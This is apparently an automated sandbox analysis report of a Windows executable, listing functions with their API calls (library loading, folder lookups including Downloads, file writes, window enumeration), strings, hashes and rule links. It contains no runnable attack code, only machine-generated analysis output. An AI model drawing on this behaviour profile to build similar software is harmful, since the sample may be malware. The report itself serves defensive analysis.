API ID: Window$Message$CreateSend$wcslen$Accelerator$HeapLoadMetricsSystemTableTranslatewcscpy$AllocBringClassCursorDestroyDispatchEnableEnabledFocusForegroundFreeIconLongObjectRegisterStock
String ID: 0$BUTTON$D0A$EDIT$STATIC
API String ID: 54849019-2968808370
Opcode ID: d18335faca37df58a642912671a5e6e9ed3b5d57d2cc689f0dbf3b56ae086657
Instruction ID: 83f6c24ff00e7acae504a8cc9f4403d446bfccf5cce4438541287e2077ea33a9
Opcode Fuzzy Hash: d18335faca37df58a642912671a5e6e9ed3b5d57d2cc689f0dbf3b56ae086657
Instruction Fuzzy Hash: 4E91A070648304BFE7219F64DC49F9B7FA9FB48B50F00893EF644A61E1CBB988448B59

Function 00401500 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 335fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,00000000,?,?,00000000,?), ref: 00401637

Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB

Part of subcall function 004057F0: wcsncmp.MSVCRT ref: 00405853
Part of subcall function 004057F0: memmove.MSVCRT(00000000,00000000,?,00000000,00000000,?,?,-0000012C,?,?,004022A6,00000000,00000002,00000000,00000000,00417024), ref: 004058E1
Part of subcall function 004057F0: wcsncpy.MSVCRT ref: 004058F9

Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9

Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(02280000,00000000,?,?), ref: 0040DF1C

Part of subcall function 0040A6C5: wcsncpy.MSVCRT ref: 0040A6E3
Part of subcall function 0040A6C5: wcslen.MSVCRT ref: 0040A6F5
Part of subcall function 0040A6C5: CreateDirectoryW.KERNELBASE(?,00000000), ref: 0040A735

Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037

Strings

2pA, xrefs: 004016C5
fpA, xrefs: 00401590, 004015C7, 004015D1, 004015E3, 004015CB, 004015D5, 004015DD, 004015E7
.pA, xrefs: 0040167C
6pA, xrefs: 00401784
$pA, xrefs: 00401645
6pA, xrefs: 004017CD
&pA, xrefs: 0040154F
2pA, xrefs: 0040169B
fpA, xrefs: 0040158A
6pA, xrefs: 00401861
fpA, xrefs: 004018F7
fpA, xrefs: 004015ED
2pA, xrefs: 004016F3
fpA, xrefs: 00401835

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocateErrorHeapLastValuewcslenwcsncpy$CreateDirectoryFileWritememmovewcsncmp
String ID: $pA$&pA$.pA$2pA$2pA$2pA$6pA$6pA$6pA$fpA$fpA$fpA$fpA$fpA
API String ID: 1295435411-3159487945
Opcode ID: d3a3a63bc2a0b99ba5975a07e2b9f90fb8c3599d1eca8c8031e60196fdd81d10
Instruction ID: b4e4a0b709d291d116e2253cfe1eb4aef96e8d0e4325569d50da54c09323f468
Opcode Fuzzy Hash: d3a3a63bc2a0b99ba5975a07e2b9f90fb8c3599d1eca8c8031e60196fdd81d10
Instruction Fuzzy Hash: E3B134B1504300AED600BBA1DD81E7F77A9EB88308F108D3FF544B61A2CA3DDD59966D

Function 00409355 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 116libraryloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00409373

Part of subcall function 0040E3F0: TlsGetValue.KERNEL32(0000000D,\\?\,?,004096ED,00000104,?,?,?,00401BC5,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0040E3FA

memset.MSVCRT ref: 00409381
LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 0040938E
GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 004093B0
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 004093BC
wcsncpy.MSVCRT ref: 004093DD
wcslen.MSVCRT ref: 004093F1
CoTaskMemFree.OLE32(?), ref: 0040947A
wcslen.MSVCRT ref: 00409481
FreeLibrary.KERNEL32(00000000,00000000), ref: 004094A0

Strings

SHGetPathFromIDListW, xrefs: 004093B2
SHELL32.DLL, xrefs: 00409389
SHBrowseForFolderW, xrefs: 004093AA
$0A, xrefs: 004093CD
P, xrefs: 00409429

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AddressFreeLibraryProcwcslen$InitializeLoadTaskValuememsetwcsncpy
String ID: $0A$P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
API String ID: 4193992262-92458654
Opcode ID: 0c1c89229e1b22e48d7f066479dda1c34872fd3251ec2b755b1888499f20ca0d
Instruction ID: 23f57ca1c929181bfbc58391faabb4ebc57556df945843c0c8e437b0019b5ca4
Opcode Fuzzy Hash: 0c1c89229e1b22e48d7f066479dda1c34872fd3251ec2b755b1888499f20ca0d
Instruction Fuzzy Hash: D3416471508704AAC720EF759C49A9FBBE8EF88714F004C3FF945E3292D77899458B6A

Function 00406310 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 275COMMON

Download Yara Rule

APIs

wcsncpy.MSVCRT ref: 00406405

Part of subcall function 0040E1E0: TlsGetValue.KERNEL32(0000000D,?,?,00405EC5,00001000,00001000,?,?,00001000,00402FE6,00000000,00000008,00000001,00000000,00000000,00000000), ref: 0040E1EA

_wcsdup.MSVCRT ref: 0040644E
_wcsdup.MSVCRT ref: 00406469
_wcsdup.MSVCRT ref: 0040648C
wcsncpy.MSVCRT ref: 00406578
free.MSVCRT ref: 004065DC
free.MSVCRT ref: 004065EF
free.MSVCRT ref: 00406602
wcsncpy.MSVCRT ref: 0040662E

Strings

$0A, xrefs: 0040632F
$0A, xrefs: 0040633E
$0A, xrefs: 0040631F

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: _wcsdupfreewcsncpy$Value
String ID: $0A$$0A$$0A
API String ID: 1554701960-360074770
Opcode ID: a2ec9853b1f56fd283991c6130850b28c29d3bdb2ca3b3670bd4453c3ae5a324
Instruction ID: a3954b37eea6ac6c251c7ba509b6f2d99b081bbe67bc4aeebc7e0be9c04ba548
Opcode Fuzzy Hash: a2ec9853b1f56fd283991c6130850b28c29d3bdb2ca3b3670bd4453c3ae5a324
Instruction Fuzzy Hash: 30A1BD715043019BCB209F18C881A2BB7F1EF94348F49093EF88667391E77AD965CB9A

Function 0040A83A Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 91libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0040E260: TlsGetValue.KERNEL32(0000000D,00001000,00000000,00000000), ref: 0040E26C
Part of subcall function 0040E260: HeapReAlloc.KERNEL32(02280000,00000000,?,?), ref: 0040E2C7

LoadLibraryW.KERNEL32(Shell32.DLL,00000104,?,?,?,?,00000009,00403791,00000001,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0040A863
GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 0040A875
wcscpy.MSVCRT ref: 0040A89B
wcscat.MSVCRT ref: 0040A8A6
wcslen.MSVCRT ref: 0040A8AC
CoTaskMemFree.OLE32(?,00000000,00000000,?,02289B68,00000000,00000000), ref: 0040A8BA
FreeLibrary.KERNEL32(00000000,?,?,?,00000009,00403791,00000001,00000000,00000000,00000000,?,00000000,00000000,00000000,004046B8,00000000), ref: 0040A8C1
wcscat.MSVCRT ref: 0040A8D9
wcslen.MSVCRT ref: 0040A8DF

Strings

Downloads\, xrefs: 0040A8D3
Shell32.DLL, xrefs: 0040A85E
SHGetKnownFolderPath, xrefs: 0040A86F

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: FreeLibrarywcscatwcslen$AddressAllocHeapLoadProcTaskValuewcscpy
String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
API String ID: 1740785346-287042676
Opcode ID: ace73f6e0916171b361586c2bbf184c955ba55397e49a90223a244ca9597bb20
Instruction ID: ae609db33c227b916d8c96984f24cc4820d8d1ee700964f601e6ad2a5a3ba7d8
Opcode Fuzzy Hash: ace73f6e0916171b361586c2bbf184c955ba55397e49a90223a244ca9597bb20
Instruction Fuzzy Hash: C821F871344701B6D2303B62EC4EF6F2A78DB91B90F11483BF901B51D2D6BC8A6199AF

Function 00412082 Relevance: 19.6, APIs: 13, Instructions: 74memoryregistrythreadCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004), ref: 00412092
InitializeCriticalSection.KERNEL32(00418688,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000), ref: 0041209E
TlsGetValue.KERNEL32(?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004), ref: 004120B4
HeapAlloc.KERNEL32(00000008,00000014,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 004120CE
EnterCriticalSection.KERNEL32(00418688,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000), ref: 004120DF
LeaveCriticalSection.KERNEL32(00418688,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 004120FB
GetCurrentProcess.KERNEL32(00000000,00100000,00000000,00000000,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000), ref: 00412114
GetCurrentThread.KERNEL32 ref: 00412117
GetCurrentProcess.KERNEL32(00000000,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 0041211E
DuplicateHandle.KERNEL32(00000000,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00412121
RegisterWaitForSingleObject.KERNEL32(0000000C,00000000,0041217A,00000000,000000FF,00000008), ref: 00412137
TlsSetValue.KERNEL32(00000000,?,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00412144
HeapAlloc.KERNEL32(00000000,0000000C,?,?,0040E018,0040DF80,00000000,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000), ref: 00412155

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocCriticalCurrentSection$HeapProcessValue$DuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
String ID:
API String ID: 298514914-0
Opcode ID: 090f9e8ec264e5d12bc44ccd603b7065f48900f7029304d299a0ea3cd3686378
Instruction ID: d80fd07e77255670f12a4e616af7295cf706cbaed93ad9a0fedfb01b657d880b
Opcode Fuzzy Hash: 090f9e8ec264e5d12bc44ccd603b7065f48900f7029304d299a0ea3cd3686378
Instruction Fuzzy Hash: 35211971644305FFDB119F64ED88B963FBAFB49311F04C43AFA09962A1CBB49850DB68

Function 00403275 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 176COMMON

Download Yara Rule

APIs

GetWindowsDirectoryW.KERNEL32(00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 00403302
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040330B
GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 0040342B
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000800,00000000,00000000,00000000,00000800,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00403434

Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(02280000,00000000,?,?), ref: 0040DF1C

PathAddBackslashW.SHLWAPI(00000000,00000000,sysnative,00000000,00000000,00000000,00000000,00000800,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 0040333B

Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB

Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9

GetSystemDirectoryW.KERNEL32(00000000,00000800), ref: 00403468
PathAddBackslashW.SHLWAPI(00000000,00000000,00000800,00000000,00000000,?,00000000,00000000), ref: 00403471

Strings

sysnative, xrefs: 00403322, 00403327

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: BackslashPath$Directory$AllocateErrorHeapLastSystemValue$Windows
String ID: sysnative
API String ID: 3406704365-821172135
Opcode ID: e5455a9928b97281f132b1c2dd1bbabf065e779dbb70284d860f41b952fb8df8
Instruction ID: 2364f58bb10a159e0aa11294c57d56a9f179ba7a21fd77f55822fae8b4f54734
Opcode Fuzzy Hash: e5455a9928b97281f132b1c2dd1bbabf065e779dbb70284d860f41b952fb8df8
Instruction Fuzzy Hash: F5514075518701AAD600BBB2CC82B2F76A9AFD0709F10CC3FF544790D2CA7CD8599A6E

Function 0040DA43 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 53librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Kernel32.dll,00000000,00000000,00000000,00000004,00000000,0040D855,0041861C,0040D9E2,00000000,FFFFFFED,00000200,76EC5E70,00409E76,FFFFFFED,00000010), ref: 0040DA51
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 0040DA66
FreeLibrary.KERNEL32(00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040DA81
InterlockedCompareExchange.KERNEL32(00000000,00000001,00000000), ref: 0040DA90
Sleep.KERNEL32(00000000,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040DAA2
InterlockedExchange.KERNEL32(00000000,00000002), ref: 0040DAB5

Strings

InitOnceExecuteOnce, xrefs: 0040DA60
Kernel32.dll, xrefs: 0040DA4A

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: ExchangeInterlockedLibrary$AddressCompareFreeLoadProcSleep
String ID: InitOnceExecuteOnce$Kernel32.dll
API String ID: 2918862794-1339284965
Opcode ID: 04ec49063c38c3d68cea197a5330db743d42037b633bf3bb84411c831da1e2b1
Instruction ID: e7d3430369b103de8e34323ddaa6381870798cc52ac97d2691a1b23ef8b22f52
Opcode Fuzzy Hash: 04ec49063c38c3d68cea197a5330db743d42037b633bf3bb84411c831da1e2b1
Instruction Fuzzy Hash: A701B132748204BAD7116FE49C49FEB3B29EF42762F10813AF905A11C0DB7C49458A6D

Function 00409507 Relevance: 12.0, APIs: 8, Instructions: 50threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(?,00000000), ref: 00409511
GetCurrentThreadId.KERNEL32 ref: 0040951F
IsWindowVisible.USER32(?), ref: 00409526

Part of subcall function 0040DB72: HeapAlloc.KERNEL32(00000008,00000000,0040D3EC,00418610,00000014,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000), ref: 0040DB7E

GetCurrentThreadId.KERNEL32 ref: 00409543
GetWindowLongW.USER32(?,000000EC), ref: 00409550
GetForegroundWindow.USER32 ref: 0040955E
IsWindowEnabled.USER32(?), ref: 00409569
EnableWindow.USER32(?,00000000), ref: 00409579

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
String ID:
API String ID: 3383493704-0
Opcode ID: 761db0cbe0c8efe4181c57131f09a45cb1cea28f7de62a6f083fb5992236dbff
Instruction ID: 9be2ebae674c1fa36b8fc713cd4e728ef3198b0ad07c7790c0b3041e5f2a4f9d
Opcode Fuzzy Hash: 761db0cbe0c8efe4181c57131f09a45cb1cea28f7de62a6f083fb5992236dbff
Instruction Fuzzy Hash: A901B9315083016FD3215B769C88AABBAB8AF55750B04C03EF456D3191D7749C40C66D

Function 00408EB4 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 00408EED
GetWindowLongW.USER32(?,000000EB), ref: 00408EFC
GetWindowTextLengthW.USER32 ref: 00408F0A
HeapAlloc.KERNEL32(00000000), ref: 00408F1F
GetWindowTextW.USER32(00000000,00000001), ref: 00408F2F
DestroyWindow.USER32(?), ref: 00408F3D
UnregisterClassW.USER32 ref: 00408F53

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Window$DestroyText$AllocClassHeapLengthLongUnregister
String ID:
API String ID: 2895088630-0
Opcode ID: cc61bfd3fa705e2cc6efe011ffba927a9334bb0a4f310b6a0f05db5f7333bb42
Instruction ID: dcdd979020c5d84d31bdac08dec077088d7257a56d77306a58cab45369b049af
Opcode Fuzzy Hash: cc61bfd3fa705e2cc6efe011ffba927a9334bb0a4f310b6a0f05db5f7333bb42
Instruction Fuzzy Hash: C611183110810ABFCB116F64ED4C9E63F76EB08361B00C53AF44592AB0CF359955EB58

Function 00409588 Relevance: 9.1, APIs: 6, Instructions: 68threadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(00409507,?), ref: 0040959B
GetCurrentThreadId.KERNEL32 ref: 004095B3
SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000003,?,?,?,?,?), ref: 004095CF
GetCurrentThreadId.KERNEL32 ref: 004095EF
EnableWindow.USER32(?,00000001), ref: 00409605
SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,?,?,?,?,?), ref: 0040961C

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Window$CurrentThread$EnableEnumWindows
String ID:
API String ID: 2527101397-0
Opcode ID: f28d4ca554cd3ae9a733ad6cb4d62ecbd868711740a6e1fed135e0e6fc6d1c23
Instruction ID: f5a6386b144a933a28a8080deaf79be6790ca9cb7a06763c23f847dded1acd22
Opcode Fuzzy Hash: f28d4ca554cd3ae9a733ad6cb4d62ecbd868711740a6e1fed135e0e6fc6d1c23
Instruction Fuzzy Hash: 3E11AF32548741BBD7324B16EC48F577BB9EB81B20F14CA3EF052226E1DB766D44CA18

Function 0040D353 Relevance: 9.1, APIs: 6, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32(?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D378
HeapAlloc.KERNEL32(00000008,00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D38C
TlsSetValue.KERNEL32(00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D399
TlsGetValue.KERNEL32(00000010,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D3B0
HeapReAlloc.KERNEL32(00000008,00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D3BF
TlsSetValue.KERNEL32(00000000,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 0040D3CE

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: AllocValue$Heap
String ID:
API String ID: 2472784365-0
Opcode ID: d4aa023bea7065d4958094be2e1b0a1f42a8661c5ef268aa00a39480e26025ae
Instruction ID: 1e11015e4a25d7f5304c1c18fd55a95fd758b035f13ce6db6bcec7fc4f8c26ab
Opcode Fuzzy Hash: d4aa023bea7065d4958094be2e1b0a1f42a8661c5ef268aa00a39480e26025ae
Instruction Fuzzy Hash: 22116372A45310AFD7109FA5EC84A967BA9FB58760B05803EF904D33B2DB359C048AAC

Function 00412004 Relevance: 9.0, APIs: 6, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

UnregisterWait.KERNEL32(?), ref: 0041200E
CloseHandle.KERNEL32(?,?,?,?,0041218A,?), ref: 00412017
EnterCriticalSection.KERNEL32(00418688,?,?,?,0041218A,?), ref: 00412023
LeaveCriticalSection.KERNEL32(00418688,?,?,?,0041218A,?), ref: 00412048
HeapFree.KERNEL32(00000000,00000000,?,?,?,0041218A,?), ref: 00412066
HeapFree.KERNEL32(?,?,?,?,?,0041218A,?), ref: 00412078

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: CriticalFreeHeapSection$CloseEnterHandleLeaveUnregisterWait
String ID:
API String ID: 4204870694-0
Opcode ID: 74c8b0c47b40b3dfa83cc76d0e2e37435eae102b1f5068a19a02dca3843f56c7
Instruction ID: 90751bbfb1e58074f86cd24fa3ef9024ec02ad1f71581e15228f0d3cd8da5416
Opcode Fuzzy Hash: 74c8b0c47b40b3dfa83cc76d0e2e37435eae102b1f5068a19a02dca3843f56c7
Instruction Fuzzy Hash: F5012970201601EFC7249F11EE88A96BF75FF493557108539E61AC2A70C731A821DBA8

Function 004057F0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 118COMMON

Download Yara Rule

APIs

wcsncmp.MSVCRT ref: 00405853
memmove.MSVCRT(00000000,00000000,?,00000000,00000000,?,?,-0000012C,?,?,004022A6,00000000,00000002,00000000,00000000,00417024), ref: 004058E1
wcsncpy.MSVCRT ref: 004058F9

Strings

$0A, xrefs: 0040580C
$0A, xrefs: 00405819

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: memmovewcsncmpwcsncpy
String ID: $0A$$0A
API String ID: 1452150355-167650565
Opcode ID: d76f75147769cfeda3015acce6fec10c4d54059df292c5d7079ca0585360228a
Instruction ID: fc6078814c183f32d07ee1b1bbfb59dc2b99a9263d9aed9d6ca5449e395b5937
Opcode Fuzzy Hash: d76f75147769cfeda3015acce6fec10c4d54059df292c5d7079ca0585360228a
